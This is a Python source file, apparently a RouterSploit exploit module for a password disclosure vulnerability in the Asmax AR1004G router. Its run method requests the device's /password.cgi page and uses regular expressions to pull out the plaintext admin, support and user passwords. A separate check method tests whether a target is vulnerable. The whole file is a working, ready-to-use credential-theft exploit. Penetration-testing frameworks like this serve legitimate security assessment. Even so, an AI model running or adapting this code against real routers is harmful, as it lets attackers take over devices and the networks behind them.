from routersploit import (
    exploits,
    print_error,
    print_success,
    print_table,
    http_request,
    mute,
    validators,
    tokenize,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for Asmax AR1004G Password Disclosure vulnerability.
    If the target is vulnerable it allows to read credentials for admin, support and user."
    """
    __info__ = {
        'name': 'Asmax AR1004G Password Disclosure',
        'description': 'Exploits asmax password disclosure vulnerability that allows to '
                       'fetch credentials for: Admin, Support and User accounts.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'references': [
            'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt',
        ],
        'devices': [
            'Asmax AR 1004g',
        ],
    }

    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
    port = exploits.Option(80, 'Target port')  # default port

    def run(self):
        creds = []
        url = "{}:{}/password.cgi".format(self.target, self.port)

        try:
            response = http_request(method="GET", url=url).text
        except AttributeError:
            return

        tokens = [
            ("admin", r"pwdAdmin = '(.+?)'"),
            ("support", r"pwdSupport = '(.+?)'"),
            ("user", r"pwdUser = '(.+?)'")
        ]

        for token in tokenize(tokens, response):
            creds.append((token.typ, token.value[-1]))

        if creds:
            print_success("Credentials found!")
            print_table(("Login", "Password"), *creds)
        else:
            print_error("Credentials could not be found")

    @mute
    def check(self):
        url = "{}:{}/password.cgi".format(self.target, self.port)

        response = http_request(method="GET", url=url)
        if response is None:
            return False  # target is not vulnerable

        if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])):
            return True  # target vulnerable

        return False  # target not vulnerable
